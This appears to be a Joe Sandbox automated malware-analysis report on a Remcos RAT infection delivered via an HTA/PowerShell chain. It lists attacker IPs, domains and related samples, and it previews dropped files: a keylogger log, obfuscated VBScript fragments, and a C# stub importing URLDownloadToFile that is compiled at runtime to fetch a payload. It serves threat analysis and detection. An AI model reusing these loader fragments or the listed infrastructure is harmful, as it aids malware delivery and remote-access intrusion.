Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: seethebestthignswhichgivingbestopportunities.hta

Simulations

Behavior and APIs

Time	Type	Description
11:18:06	API Interceptor	139x Sleep call for process: powershell.exe modified
12:53:49	API Interceptor	4894044x Sleep call for process: CasPol.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.3.220.29	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	192.3.220.29/45/HDRDDG.txt
	New order.xls	Get hash	malicious	Unknown	Browse	192.3.220.29/111/wed/chakarathingsaregreatpatternwelcomebacktotherealworldbaby.hta
	New order.xls	Get hash	malicious	Unknown	Browse	192.3.220.29/111/wed/chakarathingsaregreatpatternwelcomebacktotherealworldbaby.hta
	New order.xls	Get hash	malicious	Unknown	Browse	192.3.220.29/111/wed/chakarathingsaregreatpatternwelcomebacktotherealworldbaby.hta
	seemebestthingswhichevermadebybestthingsgodown.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	192.3.220.29/66/SWRTFRR.txt
	CI.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	192.3.220.29/66/SWRTFRR.txt
142.215.209.78	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse
	seethebestthingswithgreatsituationshandletotheprogress.hta	Get hash	malicious	Cobalt Strike, AgentTesla, HTMLPhisher	Browse
	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse
	bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, SmokeLoader	Browse
	#U3010TW-S PO#U3011PO#3311-20241118003.xls	Get hash	malicious	HTMLPhisher, SmokeLoader	Browse
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse
	bestgirlfriendwhowintheheartwithentirelifegivenubestthigns.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer	Browse
192.3.101.149	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse
	seemebestthingswhichevermadebybestthingsgodown.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse
	CI.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse
	seethebestthingswithgoodthingswithgreatthignsfor.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse
	1731343866c2de3056a60ef2333b3e4532593a69f279ecfa2002460801978b2e618aaa77bc130.dat-decoded.exe	Get hash	malicious	Remcos	Browse
178.237.33.50	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	geoplugin.net/json.gp
	sostener.vbs	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	1732086011ea45d03916726c55fa40ae0b8f39b9a24a40da5a5e79d29c703a7fb444bdeb31407.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	USD470900_COPY_800BLHSBC882001_NOV202024.PDF.exe	Get hash	malicious	Remcos, DBatLoader	Browse	geoplugin.net/json.gp
	Pago_BBVA.pdf.bat.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	USD470900_COPY_800BLHSBC882001.PDF.bat	Get hash	malicious	Remcos, DBatLoader	Browse	geoplugin.net/json.gp
	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	file.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	YYHh9QU804.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip.1017.filemail.com	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	142.215.209.78
	seethebestthingswithgreatsituationshandletotheprogress.hta	Get hash	malicious	Cobalt Strike, AgentTesla, HTMLPhisher	Browse	142.215.209.78
	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse	142.215.209.78
	bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, SmokeLoader	Browse	142.215.209.78
	#U3010TW-S PO#U3011PO#3311-20241118003.xls	Get hash	malicious	HTMLPhisher, SmokeLoader	Browse	142.215.209.78
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	142.215.209.78
	bestgirlfriendwhowintheheartwithentirelifegivenubestthigns.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer	Browse	142.215.209.78
banaya.duckdns.org	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	192.3.101.149
geoplugin.net	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	178.237.33.50
	sostener.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	1732086011ea45d03916726c55fa40ae0b8f39b9a24a40da5a5e79d29c703a7fb444bdeb31407.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	USD470900_COPY_800BLHSBC882001_NOV202024.PDF.exe	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	Pago_BBVA.pdf.bat.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	USD470900_COPY_800BLHSBC882001.PDF.bat	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	file.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	YYHh9QU804.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HUMBER-COLLEGECA	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	142.215.209.78
	seethebestthingswithgreatsituationshandletotheprogress.hta	Get hash	malicious	Cobalt Strike, AgentTesla, HTMLPhisher	Browse	142.215.209.78
	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse	142.215.209.78
	bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, SmokeLoader	Browse	142.215.209.78
	#U3010TW-S PO#U3011PO#3311-20241118003.xls	Get hash	malicious	HTMLPhisher, SmokeLoader	Browse	142.215.209.78
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	142.215.209.78
	bestgirlfriendwhowintheheartwithentirelifegivenubestthigns.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer	Browse	142.215.209.78
AS-COLOCROSSINGUS	generatethebstgoodpeoplesaroundtheworldwithgood.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	107.173.4.61
	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	192.3.101.149
	Transferencia SPEI.xls	Get hash	malicious	FormBook, HTMLPhisher	Browse	107.173.4.61
	seethebestthingswithgreatsituationshandletotheprogress.hta	Get hash	malicious	Cobalt Strike, AgentTesla, HTMLPhisher	Browse	192.3.22.13
	greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	192.3.243.136
	Credit_DetailsCBS24312017918.xla.xlsx	Get hash	malicious	HTMLPhisher	Browse	172.245.123.3
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136
	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse	192.3.22.13
	9srIKeD54O.rtf	Get hash	malicious	Unknown	Browse	192.3.101.150
	exe009.exe	Get hash	malicious	Emotet	Browse	75.127.14.170
ATOM86-ASATOM86NL	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	178.237.33.50
	sostener.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	1732086011ea45d03916726c55fa40ae0b8f39b9a24a40da5a5e79d29c703a7fb444bdeb31407.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	USD470900_COPY_800BLHSBC882001_NOV202024.PDF.exe	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	Pago_BBVA.pdf.bat.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	USD470900_COPY_800BLHSBC882001.PDF.bat	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	file.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	YYHh9QU804.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	178.237.33.50
AS-COLOCROSSINGUS	generatethebstgoodpeoplesaroundtheworldwithgood.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	107.173.4.61
	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	192.3.101.149
	Transferencia SPEI.xls	Get hash	malicious	FormBook, HTMLPhisher	Browse	107.173.4.61
	seethebestthingswithgreatsituationshandletotheprogress.hta	Get hash	malicious	Cobalt Strike, AgentTesla, HTMLPhisher	Browse	192.3.22.13
	greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	192.3.243.136
	Credit_DetailsCBS24312017918.xla.xlsx	Get hash	malicious	HTMLPhisher	Browse	172.245.123.3
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136
	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse	192.3.22.13
	9srIKeD54O.rtf	Get hash	malicious	Unknown	Browse	192.3.101.150
	exe009.exe	Get hash	malicious	Emotet	Browse	75.127.14.170

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	LSMU CITATA LT 20-11-2024#U00b7pdf.vbe	Get hash	malicious	Remcos, GuLoader	Browse	142.215.209.78
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	142.215.209.78
	file.exe	Get hash	malicious	LummaC	Browse	142.215.209.78
	prepper-wu.ps1	Get hash	malicious	Unknown	Browse	142.215.209.78
	SnapshotPc.ps1	Get hash	malicious	Unknown	Browse	142.215.209.78
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	HTMLPhisher	Browse	142.215.209.78
	cYDCUkIGVB.exe	Get hash	malicious	Unknown	Browse	142.215.209.78
	cYDCUkIGVB.exe	Get hash	malicious	Unknown	Browse	142.215.209.78
	KRcLFIz5PCQunB7.exe	Get hash	malicious	Quasar	Browse	142.215.209.78
	https://cipdegiphar-pharm.click/BD0C84/D0C-N0V20.html	Get hash	malicious	Unknown	Browse	142.215.209.78

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	3.3708727686148316
Encrypted:	false
SSDEEP:	3:rhlKlf4OlXlfKl84ql55JWRal2Jl+7R0DAlBG45klovDl6v:6lfJl1ClBql55YcIeeDAlOWAv
MD5:	6D351ED623CEB288B07797B930359AF5
SHA1:	274B715B27802828FA7AFD4216E05E37195D642B
SHA-256:	31F4F7ED39FAB7C9B92E3386EAA588765E08EC3C101792EF0454232C7AAA4793
SHA-512:	C03F18BFF94AEA71ABD966AB26DFFC6AC2619FB4E793790B65B178526CE2AEAEB77002ED5B984BC732981A4839390A6847448A27E0D26007795E8A7EA38686E5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.1.1./.2.0. .1.2.:.5.3.:.1.6. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\seehavingfacingbestthignstogetmebackwithentiretimegreat[1].tiff

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (376), with CRLF line terminators
Category:	dropped
Size (bytes):	142466
Entropy (8bit):	3.674082413060924
Encrypted:	false
SSDEEP:	1536:41jUPF8/vqjQ2AMYdCZc1uIj9X0EBz4jfOMaTUfgt5pzGGwm:VdkvqjQ2ArCjIB0k4jfOMaTsgt5pCGwm
MD5:	DA5A2B2A39D7AB8B9F9ADF8AF69A5F61
SHA1:	7588E7A25BF351AC5A16ECA9B68686C7970E60E5
SHA-256:	99D85E0AB098EFE5FF79ED0F26F5543BE8D9DC316132A80BA72001CCA355E89F
SHA-512:	D042E1BA33995BA500DD91218AAAB47310B31AEFA91862F744719EA659EB235080DE25649E50AED2ECE84C1AFF78C25BEE6B8DBE5C680AFFA925516F61F95D8A
Malicious:	false
Preview:	..........F.u.n.c.t.i.o.n. .r.e.s.t.i.v.o.(.B.y.V.a.l. .a.m.b.a.r.i.n.o.,. .B.y.V.a.l. .p.n.e.o.m.e.t.r.i.a.,. .B.y.V.a.l. .c.o.n.t.r.a.m.a.r.t.e.l.o.s.)..... . . . .D.i.m. .e.s.f.a.l.f.a.m.e.n.t.o..... . . . .e.s.f.a.l.f.a.m.e.n.t.o. .=. .I.n.S.t.r.(.a.m.b.a.r.i.n.o.,. .p.n.e.o.m.e.t.r.i.a.)..... . . . ..... . . . .D.o. .W.h.i.l.e. .e.s.f.a.l.f.a.m.e.n.t.o. .>. .0..... . . . . . . . .a.m.b.a.r.i.n.o. .=. .L.e.f.t.(.a.m.b.a.r.i.n.o.,. .e.s.f.a.l.f.a.m.e.n.t.o. .-. .1.). .&. .c.o.n.t.r.a.m.a.r.t.e.l.o.s. .&. .M.i.d.(.a.m.b.a.r.i.n.o.,. .e.s.f.a.l.f.a.m.e.n.t.o. .+. .L.e.n.(.p.n.e.o.m.e.t.r.i.a.).)..... . . . . . . . .e.s.f.a.l.f.a.m.e.n.t.o. .=. .I.n.S.t.r.(.e.s.f.a.l.f.a.m.e.n.t.o. .+. .L.e.n.(.c.o.n.t.r.a.m.a.r.t.e.l.o.s.).,. .a.m.b.a.r.i.n.o.,. .p.n.e.o.m.e.t.r.i.a.)..... . . . .L.o.o.p..... . . . ..... . . . .r.e.s.t.i.v.o. .=. .a.m.b.a.r.i.n.o.....E.n.d. .F.u.n.c.t.i.o.n.............p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .R.e.a.d.S.t.d.I.n.(.)..... . . . .w.h.i.l.e. .N.o.t. .s.t.d.I.n...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.015105568788186
Encrypted:	false
SSDEEP:	12:tkluQ+nd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qluQydRNuKyGX85jvXhNlT3/7AcV9Wro
MD5:	8937B63DC0B37E949F38E7874886D999
SHA1:	62FD17BF5A029DDD3A5CFB4F5FC9FE83A346FFFC
SHA-256:	AB2F31E4512913B1E7F7ACAB4B72D6E741C960D0A482F09EA6F9D96FED842A66
SHA-512:	077176C51DC10F155EE08326270C1FE3E6CF36C7ABA75611BDB3CCDA2526D6F0360DBC2FBF4A9963051F0F01658017389FD898980ACF7BB3B29B287F188EE7B9
Malicious:	false
Preview:	{. "geoplugin_request":"8.46.123.75",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.0.cs

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (373)
Category:	dropped
Size (bytes):	487
Entropy (8bit):	3.787386295423015
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuA3Q88NemMGlBHjQXReKJ8SRHy4HpuyCrK6P6gYy:V/DTLDfuJNeKuXfHnCBbYy
MD5:	920EC087C1649B37D3E112B3D5CEB653
SHA1:	43582D6BD4F01B5585CDE7DFF378FA59D38E7F7F
SHA-256:	D0C9B5992704CAA64BB5429349502AE370A05E995CFE05650EE7ECC4142E5BAA
SHA-512:	C79F661748E9176F0F01D405530C4704C7AAB611C2D614F537EA7A7778C846A98A6156DD1F35BBE5AB5644D9C582C1DE6D859925040C7A78AA44D21C19FFC673
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace IrRz.{. public class iAywni. {. [DllImport("urLMOn.dLL", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr TckVLj,string VIV,string EXlnPJrpNQc,uint bEjz,IntPtr yZVSsDMddO);.. }..}.

C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.cmdline

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (374), with no line terminators
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.322937001523699
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2cNwi23f3rDZGzxs7+AEszIcNwi23f3rDZVLx:p37Lvkmb6KwZf8WZEJZfL9
MD5:	1DECD2F404896138AEAF4BB149CE129D
SHA1:	DBAE45A602BA189AA29CA656DB6E5A13ED485D8F
SHA-256:	A09EF4F27DC55E8B00FEAFB882D136DBD13DBAB4362D262A7489D0ABAB205390
SHA-512:	BB18505DCAC981E3485A0BB380B0091C80712EFB41AD7ED7BE6483D7E1BC0ED80D6AD3E5382A58CBA42B7F9B9F62B7EA136C19E2386254851918FA031E136BDF
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.0.cs"

C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.dll

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.842843348304877
Encrypted:	false
SSDEEP:	24:etGSVPBG5eAdF8O6kkFa+t4tkZf8fMEWI+ycuZhNsZakSvuPNnq:6WsAdeOsa+lJ8fMn1ulsZa3vyq
MD5:	4B8A27BC32CF94AD8C4323CC08322660
SHA1:	624C19A79622A753B92CA2C156A9B9E46F1FC7E9
SHA-256:	625AD420A4DB4378854F2CDF072B92F47F9598B69477B6033261F81B6AEED6A8
SHA-512:	E15198A1849C850E7CFA8AC970F6147842AE85F1BFB1B2D677343F28A2003469F1EDACF83B43EED2F3183FEA8610C4A97BA08D9EB7E1AEF7838A5E8F07001048
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....!>g...........!.................#... ...@....... ....................................@.................................`#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~...... ...#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................3.,.....y.....y.......................................... :.....P ......L.........R.....Y.....].....i.....n...L.....L...!.L.....L.......!............:.......................................#..........<Module>.2c

C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.out

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (458), with CRLF, CR line terminators
Category:	modified
Size (bytes):	879
Entropy (8bit):	5.347222318404106
Encrypted:	false
SSDEEP:	24:Kwqd3ka6KgftEvfcKax5DqBVKVrdFAMBJTH:xika67lEvkK2DcVKdBJj
MD5:	7C25AD9F61F62E32BE4BCBD382FD716F
SHA1:	069D561928D62BAD910BF4CD0B969BFF309EC2ED
SHA-256:	9EB4110A62C6B04C45D1999E305A9732D738BDBB51FA92FE02FA7CE54CA32F88
SHA-512:	BE2B1C4EEE08D3B6B6733B98C13C629BBA2DA3D6A01E9D62806E5EDAD9D931B5F11E59EDC0754B5004603FF5EB4F9502426D49456BFE221BFABAB7FAA8246982
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\2c1bgmxj\CSC89B293BFADB94B3BBFCBA07F5ADB38CA.TMP

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1231719906895323
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryKZak7YnqqvuPN5Dlq5J:+RI+ycuZhNsZakSvuPNnqX
MD5:	2FBA3B1A353148DBA55CA9BEB94CA086
SHA1:	6DA47B128B477CB79FF92DB682C8F4A9AF36EC88
SHA-256:	5A30AB5E8E5272CCC7B8BC54F8682F1174A7C1617650EDB7D16057F65BA7556B
SHA-512:	7048E7EF1A80273653902466A61A0C15194AE9C5DE5E35890BA9E6328CEC03EC50EB031E16E656D03535FA0A8B200679323507B4A6478E3E98CE312D574F6AAA
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.c.1.b.g.m.x.j...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...2.c.1.b.g.m.x.j...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES883E.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Wed Nov 20 17:52:41 2024, 1st section name ".debug$S"
Category:	modified
Size (bytes):	1340
Entropy (8bit):	4.036020662097255
Encrypted:	false
SSDEEP:	24:HzK9o0fpMg+hZHdbwKOLmfWI+ycuZhNsZakSvuPNnqSed:T0BCZ9MKYm+1ulsZa3vyqS+
MD5:	8268EAABD44BF3C1D6A7A270A5ED2229
SHA1:	4D4F7E8C5E70C277866539205462043819FBABD4
SHA-256:	B0F0F0EBD0A89B9688DDB95CD536F8E873C54BE7CB32B1D7C581A4E197A1CD6C
